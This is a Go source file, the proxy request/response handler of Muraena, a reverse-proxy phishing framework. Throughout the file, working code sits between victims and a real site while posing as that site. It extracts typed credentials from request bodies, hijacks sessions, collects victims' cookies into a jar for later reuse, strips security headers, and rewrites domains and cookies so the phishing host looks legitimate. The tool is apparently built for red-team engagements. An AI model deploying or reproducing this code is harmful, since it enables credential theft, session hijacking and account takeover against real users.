muraena/proxy/handler.go
2021-01-31 12:16:27 +01:00

497 lines
12 KiB
Go

package proxy
import (
"bytes"
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"regexp"
"strconv"
"strings"
"github.com/muraenateam/muraena/core/db"
. "github.com/logrusorgru/aurora"
"github.com/pkg/errors"
"github.com/muraenateam/muraena/core"
"github.com/muraenateam/muraena/log"
"github.com/muraenateam/muraena/module/statichttp"
"github.com/muraenateam/muraena/module/tracking"
"github.com/muraenateam/muraena/session"
)
type MuraenaProxyInit struct {
Session *session.Session
Replacer *Replacer
Origin string // proxy origin (phishing site)
Target string // proxy destination (real site)
}
type MuraenaProxy struct {
Session *session.Session
Origin string // proxy origin (phishing site)
Target *url.URL // proxy destination (real site)
Victim string // UUID
ReverseProxy *ReverseProxy
Tracker *tracking.Tracker
Replacer *Replacer
}
type SessionType struct {
Session *session.Session
Replacer *Replacer
}
func RedirectToHTTPS(port int) http.HandlerFunc {
return func(w http.ResponseWriter, req *http.Request) {
var re = regexp.MustCompile(`(:\d+)$`)
host := re.ReplaceAllString(req.Host, "")
newURL := fmt.Sprintf("https://%s%s", host, req.URL.String())
if port != 443 {
newURL = fmt.Sprintf("https://%s:%d%s", host, port, req.URL.String())
}
log.Info("Redirecting HTTP to HTTPS: %s", newURL)
http.Redirect(w, req, newURL, http.StatusMovedPermanently)
}
}
func (muraena *MuraenaProxy) RequestBodyProcessor(request *http.Request, track *tracking.Trace, base64 Base64) (err error) {
if request.Body != nil {
// Replacer object
replacer := muraena.Replacer
r := request.Body
buf, err := ioutil.ReadAll(r)
if err != nil {
log.Error("%s", err)
return err
}
err = request.Body.Close()
if err != nil {
log.Error("%s", err)
return err
}
// defer r.Close()
defer func() {
if err = r.Close(); err != nil {
log.Error("Error in r.Close(): %+v", err)
}
}()
bodyString := string(buf)
// Trace credentials
if muraena.Session.Config.Tracking.Enabled && track.IsValid() {
found, err := track.ExtractCredentials(bodyString, request)
if err != nil {
return errors.New(fmt.Sprintf("ExtractCredentials error: %s", err))
}
if found == true {
muraena.Tracker.ShowVictims()
}
}
transform := replacer.Transform(bodyString, true, base64)
request.Body = ioutil.NopCloser(bytes.NewReader([]byte(transform)))
request.ContentLength = int64(len(transform))
request.Header.Set("Content-Length", strconv.Itoa(len(transform)))
}
return
}
func (muraena *MuraenaProxy) RequestProcessor(request *http.Request) (err error) {
sess := muraena.Session
base64 := Base64{
sess.Config.Transform.Base64.Enabled,
sess.Config.Transform.Base64.Padding,
}
// Replacer object
replacer := muraena.Replacer
//
// TRACKING
track := muraena.Tracker.TrackRequest(request)
// DROP
dropRequest := false
for _, drop := range sess.Config.Drop {
if request.URL.Path == drop.Path {
dropRequest = true
break
}
}
if dropRequest {
log.Debug("[Dropped] %s", request.URL.Path)
return
}
//
// Garbage ..
//
// no garbage to remove in requests, for now ..
//
// HEADERS
//
// Transform query string
query, err := url.ParseQuery(request.URL.RawQuery)
if err != nil {
log.Error("URL: %s \n %s", request.URL, err.Error())
}
for pKey := range query {
for k, v := range query[pKey] {
query[pKey][k] = replacer.Transform(v, true, base64)
}
}
request.URL.RawQuery = query.Encode()
// Remove headers
for _, header := range sess.Config.Remove.Request.Headers {
request.Header.Del(header)
}
// Transform Host and other headers of interest
request.Host = muraena.Target.Host
for _, header := range sess.Config.Transform.Request.Headers {
if request.Header.Get(header) != "" {
request.Header.Set(header, replacer.Transform(request.Header.Get(header), true, base64))
}
}
lhead := fmt.Sprintf("[%s]", request.RemoteAddr)
if sess.Config.Tracking.Enabled {
lhead = fmt.Sprintf("[%s]%s", track.ID, lhead)
}
l := fmt.Sprintf("%s - [%s][%s%s(%s)%s]", lhead,
Magenta(request.Method), Magenta(sess.Config.Protocol), Green(muraena.Origin),
Yellow(muraena.Target), Cyan(request.URL.Path))
log.Info(l)
//
// BODY
//
// If the requested resource extension is no relevant, skip body processing.
for _, extension := range sess.Config.SkipExtensions {
if strings.HasSuffix(request.URL.Path, fmt.Sprintf(".%s", extension)) {
return
}
}
if muraena.Session.Config.Tracking.Enabled && track.IsValid() {
log.Debug("Going to hijack session: %s (Track: %+v)", request.URL.Path, track)
err = track.HijackSession(request)
if err != nil {
log.Debug("Error Hijacking Session: %s", err)
return nil
}
}
// Transform body
err = muraena.RequestBodyProcessor(request, track, base64)
if err != nil {
return
}
return nil
}
func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err error) {
sess := muraena.Session
base64 := Base64{
sess.Config.Transform.Base64.Enabled,
sess.Config.Transform.Base64.Padding,
}
if response.Request.Header.Get("If-Landing-Redirect") != "" {
response.StatusCode = 302
response.Header.Add("If-Range", response.Request.Header.Get("If-Range"))
response.Header.Add("Set-Cookie",
fmt.Sprintf("%s=%s; Domain=%s; Path=/; Expires=Wed, 30 Aug 2029 00:00:00 GMT",
muraena.Session.Config.Tracking.Identifier, response.Request.Header.Get("If-Range"),
muraena.Session.Config.Proxy.Phishing))
response.Header.Set("Location", response.Request.Header.Get("If-Landing-Redirect"))
//log.Warning("Setting cookies: %s", response.Request.Headers.Get("If-Range"))
return
}
// Replacer object
replacer := muraena.Replacer
//
// Garbage ..
//
// DROP
dropRequest := false
for _, drop := range sess.Config.Drop {
if response.Request.URL.Path == drop.Path && drop.RedirectTo != "" {
// if the response was for the dropped request
response.StatusCode = 302
response.Header.Set("Location", drop.RedirectTo)
log.Info("Dropped request %s redirected to: %s", drop.Path, drop.RedirectTo)
dropRequest = true
break
}
}
if dropRequest {
return
}
// Media Type handling.
// Prevent processing of unwanted media types
mediaType := strings.ToLower(response.Header.Get("Content-Type"))
for _, skip := range sess.Config.Transform.SkipContentType {
skip = strings.ToLower(skip)
if mediaType == skip {
return
}
if strings.HasSuffix(skip, "/*") &&
strings.Split(mediaType, "/")[0] == strings.Split(skip, "/*")[0] {
return
}
}
//
// Trace
//
victim := muraena.Tracker.TrackResponse(response)
if victim != nil {
// before transforming headers like cookies, store the cookies in the CookieJar
for _, c := range response.Cookies() {
if c.Domain == "" {
c.Domain = response.Request.Host
}
sessCookie := db.VictimCookie{
Name: c.Name,
Value: c.Value,
Domain: c.Domain,
Expires: c.Expires.String(), // will be set by necrobrowser
Path: c.Path,
HTTPOnly: c.HttpOnly,
Secure: c.Secure,
}
//log.Info("%s", sessCookie)
muraena.Tracker.AddToCookieJar(victim.ID, sessCookie)
}
} else {
if len(response.Cookies()) > 0 {
log.Warning("[TODO] Missing cookies to track: \n%s\n%+v", response.Request.URL, response.Cookies())
}
}
//
// HEADERS
//
// delete security headers
for _, header := range sess.Config.Remove.Response.Headers {
response.Header.Del(header)
}
// transform headers of interest
for _, header := range sess.Config.Transform.Response.Headers {
if response.Header.Get(header) != "" {
if header == "Set-Cookie" {
for k, value := range response.Header["Set-Cookie"] {
response.Header["Set-Cookie"][k] = replacer.Transform(value, false, base64)
}
} else {
response.Header.Set(header, replacer.Transform(response.Header.Get(header), false, base64))
}
}
}
//
// BODY
//
// unpack response body
modResponse := core.Response{Response: response}
responseBuffer, err := modResponse.Unpack()
if err != nil {
log.Info("Error reading/deflating response: %+v", err)
return err
}
// process body and pack again
err = modResponse.Pack([]byte(replacer.Transform(string(responseBuffer), false, base64)))
if err != nil {
log.Info("Error processing the body: %+v", err)
return err
}
return nil
}
func (muraena *MuraenaProxy) ProxyErrHandler(response http.ResponseWriter, request *http.Request, err error) {
log.Error("[errHandler] \n\t%+v \n\t in request %s %s%s", err, request.Method, request.Host, request.URL.Path)
}
func (init *MuraenaProxyInit) Spawn() *MuraenaProxy {
sess := init.Session
destination, err := url.Parse(init.Target)
if err != nil {
log.Info("Error parsing destination URL: %s", err)
}
muraena := &MuraenaProxy{
Session: sess,
Origin: init.Origin,
Target: destination,
ReverseProxy: NewSingleHostReverseProxy(destination),
Replacer: init.Replacer,
}
m, err := sess.Module("tracker")
if err != nil {
log.Error("%s", err)
}
tracker, ok := m.(*tracking.Tracker)
if ok {
muraena.Tracker = tracker
}
proxy := muraena.ReverseProxy
director := proxy.Director
proxy.Director = func(r *http.Request) {
if err = muraena.RequestProcessor(r); err != nil {
log.Error(err.Error())
return
}
director(r)
}
proxy.ModifyResponse = muraena.ResponseProcessor
proxy.ErrorHandler = muraena.ProxyErrHandler
proxy.Transport = &http.Transport{}
if *sess.Options.Debug {
// Extra support for debugging the proxy.
//
// If HTTP_PROXY or HTTPS_PROXY env variables are defined
// all the proxy traffic will be forwarded to the defined proxy.
// Basically a MiTM of the MiTM :)
config := &tls.Config{
InsecureSkipVerify: true,
}
proxy.Transport = &http.Transport{TLSClientConfig: config, Proxy: http.ProxyFromEnvironment}
}
return muraena
}
func (st *SessionType) HandleFood(response http.ResponseWriter, request *http.Request) {
var destination string
sess := st.Session
replacer := st.Replacer
if sess.Config.StaticServer.Enabled {
m, err := sess.Module("static.http")
if err != nil {
log.Error("%s", err)
}
ss, ok := m.(*statichttp.StaticHTTP)
if ok {
destination = ss.MakeDestinationURL(request.URL)
}
}
if destination == "" {
if strings.HasPrefix(request.Host, replacer.ExternalOriginPrefix) { //external domain mapping
for domain, subMapping := range replacer.OriginsMapping {
// even if the resource is aa.bb.cc.dom.tld, the mapping is always one level as in www--2.phishing.tld.
// This is specifically important since wildcard SSL certs do not handle N levels of nesting
if subMapping == strings.Split(request.Host, ".")[0] {
destination = fmt.Sprintf("%s%s", sess.Config.Protocol,
strings.Replace(request.Host,
fmt.Sprintf("%s.%s", subMapping, replacer.Phishing),
domain, -1))
break
}
}
} else {
destination = fmt.Sprintf("%s%s", sess.Config.Protocol,
strings.Replace(request.Host, replacer.Phishing, replacer.Target, -1))
}
}
// PortMapping
if sess.Config.Proxy.PortMap != "" {
destURL, err := url.Parse(destination)
if err != nil {
log.Error("%s", err)
} else {
port := destURL.Port()
if port == "" && destURL.Scheme == "https" {
port = "443"
destination = fmt.Sprintf("%s:%s", destination, port)
} else if port == "" && destURL.Scheme == "http" {
port = "80"
destination = fmt.Sprintf("%s:%s", destination, port)
}
if strings.HasPrefix(sess.Config.Proxy.PortMap, fmt.Sprintf("%s:", port)) {
newport := strings.Split(sess.Config.Proxy.PortMap, ":")[1]
destination = strings.Replace(destination, fmt.Sprintf(":%s", port), fmt.Sprintf(":%s", newport), 1)
}
}
}
if destination == "" {
log.Error("Unexpected request at: %s", request.Host)
return
}
muraena := &MuraenaProxyInit{
Origin: request.Host,
Target: destination,
Session: sess,
Replacer: replacer,
}
muraenaProxy := muraena.Spawn()
if muraenaProxy == nil {
return
}
// The httputil ReverseProxy leaks some information via X-Forwarded-For header:
// https://github.com/golang/go/blob/master/src/net/http/httputil/reverseproxy.go#L249
//
// Therefore, the actual version of reverseproxy.go used in this project
// has been slightly modified in the ServeHTTP method:
muraenaProxy.ReverseProxy.ServeHTTP(response, request)
}